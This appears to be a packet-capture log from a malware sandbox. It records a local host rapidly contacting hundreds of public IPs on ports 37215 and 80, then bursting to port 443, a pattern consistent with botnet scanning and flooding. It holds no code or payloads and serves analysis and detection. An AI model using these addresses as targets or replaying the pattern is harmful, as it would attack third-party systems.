Oct 14, 2024 17:34:13.259733915 CEST	46538	37215	192.168.2.14	197.91.19.18
Oct 14, 2024 17:34:13.259737015 CEST	57284	80	192.168.2.14	188.102.90.35
Oct 14, 2024 17:34:13.259737968 CEST	59266	80	192.168.2.14	19.180.62.161
Oct 14, 2024 17:34:13.259737968 CEST	40042	80	192.168.2.14	217.202.74.124
Oct 14, 2024 17:34:13.259740114 CEST	35194	80	192.168.2.14	65.17.82.35
Oct 14, 2024 17:34:13.259737968 CEST	55122	37215	192.168.2.14	156.82.93.89
Oct 14, 2024 17:34:13.259740114 CEST	59028	37215	192.168.2.14	197.12.54.70
Oct 14, 2024 17:34:13.259737015 CEST	47620	37215	192.168.2.14	197.16.59.197
Oct 14, 2024 17:34:13.259737015 CEST	46824	37215	192.168.2.14	41.132.34.4
Oct 14, 2024 17:34:13.259737015 CEST	53966	37215	192.168.2.14	41.237.110.7
Oct 14, 2024 17:34:13.264997959 CEST	37215	57256	41.121.12.129	192.168.2.14
Oct 14, 2024 17:34:13.265011072 CEST	37215	53844	156.233.32.128	192.168.2.14
Oct 14, 2024 17:34:13.265021086 CEST	80	41364	61.160.177.115	192.168.2.14
Oct 14, 2024 17:34:13.265075922 CEST	57256	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:13.265078068 CEST	41364	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:13.265079975 CEST	53844	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:13.265144110 CEST	41364	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:13.265144110 CEST	41364	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:13.265178919 CEST	57256	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:13.265191078 CEST	57256	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:13.266009092 CEST	41696	80	192.168.2.14	61.160.177.115
Oct 14, 2024 17:34:13.266231060 CEST	57560	37215	192.168.2.14	41.121.12.129
Oct 14, 2024 17:34:13.267854929 CEST	53844	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:13.267854929 CEST	53844	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:13.268347979 CEST	54146	37215	192.168.2.14	156.233.32.128
Oct 14, 2024 17:34:13.270030022 CEST	80	41364	61.160.177.115	192.168.2.14
Oct 14, 2024 17:34:13.270050049 CEST	37215	57256	41.121.12.129	192.168.2.14
Oct 14, 2024 17:34:13.272945881 CEST	37215	53844	156.233.32.128	192.168.2.14
Oct 14, 2024 17:34:13.283293962 CEST	80	44564	82.30.22.185	192.168.2.14
Oct 14, 2024 17:34:13.283303976 CEST	37215	48908	41.217.156.39	192.168.2.14
Oct 14, 2024 17:34:13.291601896 CEST	52910	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:13.291604042 CEST	40970	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:13.291611910 CEST	60234	37215	192.168.2.14	156.57.110.204
Oct 14, 2024 17:34:13.291611910 CEST	38638	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:13.291615963 CEST	57136	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:13.291621923 CEST	55198	37215	192.168.2.14	156.184.177.20
Oct 14, 2024 17:34:13.291621923 CEST	36734	80	192.168.2.14	115.173.179.104
Oct 14, 2024 17:34:13.291623116 CEST	36020	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:13.291623116 CEST	46578	80	192.168.2.14	38.167.16.183
Oct 14, 2024 17:34:13.291625977 CEST	50772	37215	192.168.2.14	197.6.160.49
Oct 14, 2024 17:34:13.291625977 CEST	37324	80	192.168.2.14	170.3.182.62
Oct 14, 2024 17:34:13.291629076 CEST	54024	80	192.168.2.14	69.215.22.231
Oct 14, 2024 17:34:13.291629076 CEST	47314	80	192.168.2.14	58.0.13.163
Oct 14, 2024 17:34:13.291634083 CEST	44206	37215	192.168.2.14	156.251.156.83
Oct 14, 2024 17:34:13.291634083 CEST	47240	80	192.168.2.14	69.163.97.129
Oct 14, 2024 17:34:13.291634083 CEST	42234	80	192.168.2.14	222.129.54.144
Oct 14, 2024 17:34:13.291634083 CEST	59424	80	192.168.2.14	77.3.150.192
Oct 14, 2024 17:34:13.291639090 CEST	37776	37215	192.168.2.14	41.11.224.152
Oct 14, 2024 17:34:13.291639090 CEST	48714	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:13.291639090 CEST	54598	80	192.168.2.14	41.160.73.54
Oct 14, 2024 17:34:13.291640997 CEST	60642	80	192.168.2.14	122.159.191.31
Oct 14, 2024 17:34:13.291640997 CEST	48330	80	192.168.2.14	13.221.127.199
Oct 14, 2024 17:34:13.291646957 CEST	40966	80	192.168.2.14	1.23.69.72
Oct 14, 2024 17:34:13.296910048 CEST	37215	57136	197.211.2.169	192.168.2.14
Oct 14, 2024 17:34:13.296920061 CEST	37215	52910	41.105.148.190	192.168.2.14
Oct 14, 2024 17:34:13.297146082 CEST	52910	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:13.297147036 CEST	57136	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:13.297147036 CEST	57136	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:13.297147036 CEST	57136	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:13.297522068 CEST	57386	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:13.297671080 CEST	80	40970	68.165.240.71	192.168.2.14
Oct 14, 2024 17:34:13.297786951 CEST	40970	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:13.297786951 CEST	40970	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:13.298137903 CEST	52910	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:13.298137903 CEST	52910	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:13.298552990 CEST	53170	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:13.302136898 CEST	37215	57136	197.211.2.169	192.168.2.14
Oct 14, 2024 17:34:13.303241968 CEST	80	40970	68.165.240.71	192.168.2.14
Oct 14, 2024 17:34:13.303251028 CEST	37215	52910	41.105.148.190	192.168.2.14
Oct 14, 2024 17:34:13.303291082 CEST	40970	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:13.311151981 CEST	37215	57256	41.121.12.129	192.168.2.14
Oct 14, 2024 17:34:13.312293053 CEST	80	41364	61.160.177.115	192.168.2.14
Oct 14, 2024 17:34:13.319259882 CEST	37215	53844	156.233.32.128	192.168.2.14
Oct 14, 2024 17:34:13.323654890 CEST	59608	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:13.323656082 CEST	46712	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:13.323656082 CEST	38218	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:13.323656082 CEST	54434	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:13.323667049 CEST	52768	37215	192.168.2.14	41.148.109.49
Oct 14, 2024 17:34:13.323668003 CEST	36332	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:13.323668003 CEST	36050	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:13.323668003 CEST	33518	37215	192.168.2.14	197.234.62.163
Oct 14, 2024 17:34:13.323668003 CEST	53196	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:13.323689938 CEST	60594	37215	192.168.2.14	197.167.235.218
Oct 14, 2024 17:34:13.323689938 CEST	51458	37215	192.168.2.14	41.85.163.142
Oct 14, 2024 17:34:13.323689938 CEST	50790	37215	192.168.2.14	156.213.229.144
Oct 14, 2024 17:34:13.323694944 CEST	58536	37215	192.168.2.14	41.45.192.137
Oct 14, 2024 17:34:13.323698997 CEST	37940	37215	192.168.2.14	197.240.127.95
Oct 14, 2024 17:34:13.323698997 CEST	33000	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:13.323705912 CEST	48322	37215	192.168.2.14	41.35.142.69
Oct 14, 2024 17:34:13.323708057 CEST	45288	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:13.323708057 CEST	38312	37215	192.168.2.14	197.74.232.163
Oct 14, 2024 17:34:13.323748112 CEST	57242	37215	192.168.2.14	156.6.115.43
Oct 14, 2024 17:34:13.323748112 CEST	59448	37215	192.168.2.14	156.209.75.123
Oct 14, 2024 17:34:13.323748112 CEST	53872	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:13.323750019 CEST	50798	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:13.323750019 CEST	44434	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:13.323750019 CEST	50626	37215	192.168.2.14	41.3.52.128
Oct 14, 2024 17:34:13.323750019 CEST	48488	37215	192.168.2.14	41.60.199.114
Oct 14, 2024 17:34:13.328525066 CEST	80	46712	166.225.45.181	192.168.2.14
Oct 14, 2024 17:34:13.328535080 CEST	80	59608	125.113.141.16	192.168.2.14
Oct 14, 2024 17:34:13.328543901 CEST	37215	54434	41.18.249.50	192.168.2.14
Oct 14, 2024 17:34:13.328577995 CEST	46712	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:13.328583956 CEST	59608	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:13.328593016 CEST	54434	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:13.328602076 CEST	46712	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:13.328619003 CEST	59608	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:13.328702927 CEST	54434	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:13.328702927 CEST	54434	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:13.329138994 CEST	54638	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:13.333475113 CEST	37215	54434	41.18.249.50	192.168.2.14
Oct 14, 2024 17:34:13.334110022 CEST	80	46712	166.225.45.181	192.168.2.14
Oct 14, 2024 17:34:13.334279060 CEST	46712	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:13.334748983 CEST	80	59608	125.113.141.16	192.168.2.14
Oct 14, 2024 17:34:13.334795952 CEST	59608	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:13.347137928 CEST	37215	57136	197.211.2.169	192.168.2.14
Oct 14, 2024 17:34:13.351183891 CEST	37215	52910	41.105.148.190	192.168.2.14
Oct 14, 2024 17:34:13.355608940 CEST	50606	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:13.355608940 CEST	56150	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:13.355613947 CEST	47956	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.355626106 CEST	52036	37215	192.168.2.14	41.85.220.38
Oct 14, 2024 17:34:13.355626106 CEST	35494	37215	192.168.2.14	156.188.108.14
Oct 14, 2024 17:34:13.355642080 CEST	45202	37215	192.168.2.14	41.111.5.5
Oct 14, 2024 17:34:13.355643034 CEST	45646	37215	192.168.2.14	41.61.38.75
Oct 14, 2024 17:34:13.355643034 CEST	43516	37215	192.168.2.14	41.26.170.58
Oct 14, 2024 17:34:13.355647087 CEST	36390	37215	192.168.2.14	41.250.134.251
Oct 14, 2024 17:34:13.355647087 CEST	44922	37215	192.168.2.14	156.164.61.175
Oct 14, 2024 17:34:13.355650902 CEST	40246	37215	192.168.2.14	197.227.216.128
Oct 14, 2024 17:34:13.355650902 CEST	40426	37215	192.168.2.14	156.18.72.214
Oct 14, 2024 17:34:13.355652094 CEST	48342	37215	192.168.2.14	197.114.127.201
Oct 14, 2024 17:34:13.355658054 CEST	59844	37215	192.168.2.14	197.65.63.237
Oct 14, 2024 17:34:13.355662107 CEST	39000	37215	192.168.2.14	197.53.246.173
Oct 14, 2024 17:34:13.355662107 CEST	39982	37215	192.168.2.14	156.106.215.170
Oct 14, 2024 17:34:13.355664015 CEST	39630	37215	192.168.2.14	41.195.60.90
Oct 14, 2024 17:34:13.355668068 CEST	52684	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:13.355671883 CEST	32880	37215	192.168.2.14	41.231.48.184
Oct 14, 2024 17:34:13.355673075 CEST	55376	37215	192.168.2.14	197.218.210.222
Oct 14, 2024 17:34:13.355671883 CEST	35960	37215	192.168.2.14	156.245.159.2
Oct 14, 2024 17:34:13.355684996 CEST	40198	37215	192.168.2.14	197.87.211.94
Oct 14, 2024 17:34:13.355684996 CEST	33518	37215	192.168.2.14	197.71.242.130
Oct 14, 2024 17:34:13.355684996 CEST	53154	37215	192.168.2.14	41.64.133.49
Oct 14, 2024 17:34:13.355693102 CEST	35098	37215	192.168.2.14	41.237.153.176
Oct 14, 2024 17:34:13.355693102 CEST	35112	37215	192.168.2.14	41.247.111.17
Oct 14, 2024 17:34:13.355693102 CEST	60614	37215	192.168.2.14	197.99.180.20
Oct 14, 2024 17:34:13.355700970 CEST	42398	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:13.355700970 CEST	56846	37215	192.168.2.14	41.85.69.100
Oct 14, 2024 17:34:13.355707884 CEST	56926	37215	192.168.2.14	156.176.230.100
Oct 14, 2024 17:34:13.355707884 CEST	38196	37215	192.168.2.14	156.49.31.235
Oct 14, 2024 17:34:13.355710983 CEST	51626	37215	192.168.2.14	156.7.254.242
Oct 14, 2024 17:34:13.355710983 CEST	38262	37215	192.168.2.14	156.94.137.150
Oct 14, 2024 17:34:13.355714083 CEST	47860	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:13.360444069 CEST	37215	50606	41.70.200.240	192.168.2.14
Oct 14, 2024 17:34:13.360512018 CEST	37215	47956	197.164.236.181	192.168.2.14
Oct 14, 2024 17:34:13.360523939 CEST	37215	56150	41.126.64.10	192.168.2.14
Oct 14, 2024 17:34:13.360570908 CEST	50606	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:13.360570908 CEST	56150	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:13.360579014 CEST	47956	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.360718012 CEST	47956	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.360718012 CEST	47956	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.361375093 CEST	48088	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.361715078 CEST	50606	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:13.361715078 CEST	50606	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:13.361980915 CEST	50734	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:13.362432003 CEST	56150	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:13.362432003 CEST	56150	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:13.362773895 CEST	56278	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:13.365760088 CEST	37215	47956	197.164.236.181	192.168.2.14
Oct 14, 2024 17:34:13.366270065 CEST	37215	48088	197.164.236.181	192.168.2.14
Oct 14, 2024 17:34:13.366345882 CEST	48088	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.366345882 CEST	48088	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.366708994 CEST	37215	50606	41.70.200.240	192.168.2.14
Oct 14, 2024 17:34:13.367322922 CEST	37215	56150	41.126.64.10	192.168.2.14
Oct 14, 2024 17:34:13.371481895 CEST	37215	48088	197.164.236.181	192.168.2.14
Oct 14, 2024 17:34:13.371527910 CEST	48088	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:13.375089884 CEST	37215	54434	41.18.249.50	192.168.2.14
Oct 14, 2024 17:34:13.387614012 CEST	47702	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:13.387619019 CEST	55746	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:13.387619019 CEST	52544	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:13.387619019 CEST	41178	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:13.387619019 CEST	33764	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:13.387625933 CEST	50962	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:13.387625933 CEST	36038	37215	192.168.2.14	197.252.249.212
Oct 14, 2024 17:34:13.387625933 CEST	39046	37215	192.168.2.14	41.129.207.87
Oct 14, 2024 17:34:13.387633085 CEST	45682	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:13.387635946 CEST	56048	37215	192.168.2.14	41.157.6.145
Oct 14, 2024 17:34:13.387635946 CEST	50674	37215	192.168.2.14	41.45.164.216
Oct 14, 2024 17:34:13.387636900 CEST	54498	37215	192.168.2.14	156.40.168.169
Oct 14, 2024 17:34:13.387639046 CEST	41588	37215	192.168.2.14	197.56.115.214
Oct 14, 2024 17:34:13.387639999 CEST	60436	37215	192.168.2.14	197.8.124.136
Oct 14, 2024 17:34:13.387654066 CEST	43600	37215	192.168.2.14	197.129.129.87
Oct 14, 2024 17:34:13.387655973 CEST	45084	37215	192.168.2.14	156.0.203.86
Oct 14, 2024 17:34:13.387660980 CEST	51934	37215	192.168.2.14	197.227.52.129
Oct 14, 2024 17:34:13.387679100 CEST	60688	37215	192.168.2.14	197.52.94.232
Oct 14, 2024 17:34:13.387679100 CEST	35952	37215	192.168.2.14	197.119.218.95
Oct 14, 2024 17:34:13.392668962 CEST	37215	55746	156.119.88.242	192.168.2.14
Oct 14, 2024 17:34:13.392678976 CEST	37215	47702	197.161.220.113	192.168.2.14
Oct 14, 2024 17:34:13.392740011 CEST	47702	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:13.392740965 CEST	55746	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:13.392786980 CEST	47702	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:13.392786980 CEST	55746	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:13.398340940 CEST	37215	55746	156.119.88.242	192.168.2.14
Oct 14, 2024 17:34:13.398396015 CEST	55746	37215	192.168.2.14	156.119.88.242
Oct 14, 2024 17:34:13.398581982 CEST	37215	47702	197.161.220.113	192.168.2.14
Oct 14, 2024 17:34:13.398626089 CEST	47702	37215	192.168.2.14	197.161.220.113
Oct 14, 2024 17:34:13.407269955 CEST	37215	50606	41.70.200.240	192.168.2.14
Oct 14, 2024 17:34:13.407279015 CEST	37215	47956	197.164.236.181	192.168.2.14
Oct 14, 2024 17:34:13.411118984 CEST	37215	56150	41.126.64.10	192.168.2.14
Oct 14, 2024 17:34:13.874562979 CEST	29631	443	192.168.2.14	123.65.223.88
Oct 14, 2024 17:34:13.874589920 CEST	443	29631	123.65.223.88	192.168.2.14
Oct 14, 2024 17:34:13.874615908 CEST	29631	443	192.168.2.14	117.231.206.4
Oct 14, 2024 17:34:13.874615908 CEST	29631	443	192.168.2.14	42.133.95.150
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	202.7.212.238
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	202.34.253.28
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	178.41.5.172
Oct 14, 2024 17:34:13.874624014 CEST	29631	443	192.168.2.14	2.34.108.109
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	42.223.78.250
Oct 14, 2024 17:34:13.874617100 CEST	29631	443	192.168.2.14	148.198.100.222
Oct 14, 2024 17:34:13.874624014 CEST	29631	443	192.168.2.14	117.221.28.179
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	212.162.115.139
Oct 14, 2024 17:34:13.874617100 CEST	29631	443	192.168.2.14	202.112.148.185
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	94.184.179.202
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	210.192.243.44
Oct 14, 2024 17:34:13.874617100 CEST	29631	443	192.168.2.14	117.31.181.238
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	148.190.176.219
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	117.56.112.137
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	109.187.28.170
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	37.147.216.234
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	2.232.146.33
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	202.186.191.89
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	5.205.98.127
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	178.54.86.79
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	202.252.45.32
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	202.248.205.37
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	109.237.50.219
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	178.19.228.10
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	5.112.146.153
Oct 14, 2024 17:34:13.874624014 CEST	29631	443	192.168.2.14	148.223.41.196
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	118.98.70.242
Oct 14, 2024 17:34:13.874620914 CEST	29631	443	192.168.2.14	148.96.151.23
Oct 14, 2024 17:34:13.874617100 CEST	29631	443	192.168.2.14	117.33.80.219
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	42.209.223.108
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	210.36.121.115
Oct 14, 2024 17:34:13.874617100 CEST	29631	443	192.168.2.14	148.164.233.169
Oct 14, 2024 17:34:13.874624014 CEST	29631	443	192.168.2.14	5.161.247.197
Oct 14, 2024 17:34:13.874617100 CEST	29631	443	192.168.2.14	123.126.230.132
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	5.156.137.73
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	202.187.69.155
Oct 14, 2024 17:34:13.874619961 CEST	29631	443	192.168.2.14	212.85.77.50
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	42.97.247.159
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	117.218.127.18
Oct 14, 2024 17:34:13.874624014 CEST	29631	443	192.168.2.14	42.87.83.229
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	37.37.68.184
Oct 14, 2024 17:34:13.874624014 CEST	29631	443	192.168.2.14	178.227.4.20
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	117.218.116.28
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	212.229.99.146
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	2.161.135.59
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	123.84.106.160
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	94.141.69.14
Oct 14, 2024 17:34:13.874623060 CEST	29631	443	192.168.2.14	42.192.67.58
Oct 14, 2024 17:34:13.874670029 CEST	443	29631	202.7.212.238	192.168.2.14
Oct 14, 2024 17:34:13.874696970 CEST	29631	443	192.168.2.14	5.252.232.208
Oct 14, 2024 17:34:13.874710083 CEST	29631	443	192.168.2.14	212.169.1.247
Oct 14, 2024 17:34:13.874712944 CEST	29631	443	192.168.2.14	118.242.181.193
Oct 14, 2024 17:34:13.874712944 CEST	29631	443	192.168.2.14	118.251.37.130
Oct 14, 2024 17:34:13.874712944 CEST	29631	443	192.168.2.14	210.80.215.159
Oct 14, 2024 17:34:13.874712944 CEST	29631	443	192.168.2.14	42.175.178.59
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	178.53.249.243
Oct 14, 2024 17:34:13.874716043 CEST	29631	443	192.168.2.14	210.63.228.45
Oct 14, 2024 17:34:13.874716043 CEST	29631	443	192.168.2.14	109.98.140.146
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	37.237.73.155
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	94.3.52.181
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	42.202.165.8
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	118.163.17.132
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	117.163.31.129
Oct 14, 2024 17:34:13.874713898 CEST	29631	443	192.168.2.14	109.158.126.209
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	109.73.224.252
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	123.20.79.21
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	212.242.19.186
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	94.230.183.169
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	178.38.68.84
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	42.71.40.156
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	202.11.246.230
Oct 14, 2024 17:34:13.874790907 CEST	29631	443	192.168.2.14	148.164.139.84
Oct 14, 2024 17:34:13.874793053 CEST	29631	443	192.168.2.14	5.243.189.187
Oct 14, 2024 17:34:13.874793053 CEST	29631	443	192.168.2.14	178.11.122.220
Oct 14, 2024 17:34:13.874793053 CEST	29631	443	192.168.2.14	2.117.255.116
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	202.23.163.16
Oct 14, 2024 17:34:13.874793053 CEST	29631	443	192.168.2.14	94.130.53.75
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	94.54.194.74
Oct 14, 2024 17:34:13.874793053 CEST	29631	443	192.168.2.14	148.212.8.208
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	212.249.15.145
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	212.32.185.60
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	42.129.22.215
Oct 14, 2024 17:34:13.874797106 CEST	29631	443	192.168.2.14	94.99.56.144
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	2.112.148.218
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	42.94.171.182
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	118.176.242.58
Oct 14, 2024 17:34:13.874797106 CEST	29631	443	192.168.2.14	118.37.137.198
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	212.120.130.51
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	109.15.247.98
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	42.244.229.219
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	118.194.101.151
Oct 14, 2024 17:34:13.874797106 CEST	29631	443	192.168.2.14	178.65.1.113
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	148.179.238.41
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	94.155.7.15
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	5.207.46.58
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	37.139.108.0
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	109.13.250.158
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	148.125.85.231
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	5.114.123.168
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	148.87.38.26
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	123.51.177.215
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	5.24.98.151
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	37.173.159.81
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	117.61.147.3
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	37.131.80.58
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	117.212.11.3
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	210.132.213.37
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	37.26.150.184
Oct 14, 2024 17:34:13.874799013 CEST	29631	443	192.168.2.14	202.116.237.233
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	79.203.231.136
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	118.16.62.160
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	5.196.81.221
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	202.67.65.178
Oct 14, 2024 17:34:13.874798059 CEST	29631	443	192.168.2.14	118.30.176.128
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	210.245.225.130
Oct 14, 2024 17:34:13.874794006 CEST	29631	443	192.168.2.14	2.75.62.62
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	210.192.122.70
Oct 14, 2024 17:34:13.874805927 CEST	29631	443	192.168.2.14	37.129.186.82
Oct 14, 2024 17:34:13.874799967 CEST	29631	443	192.168.2.14	123.149.236.199
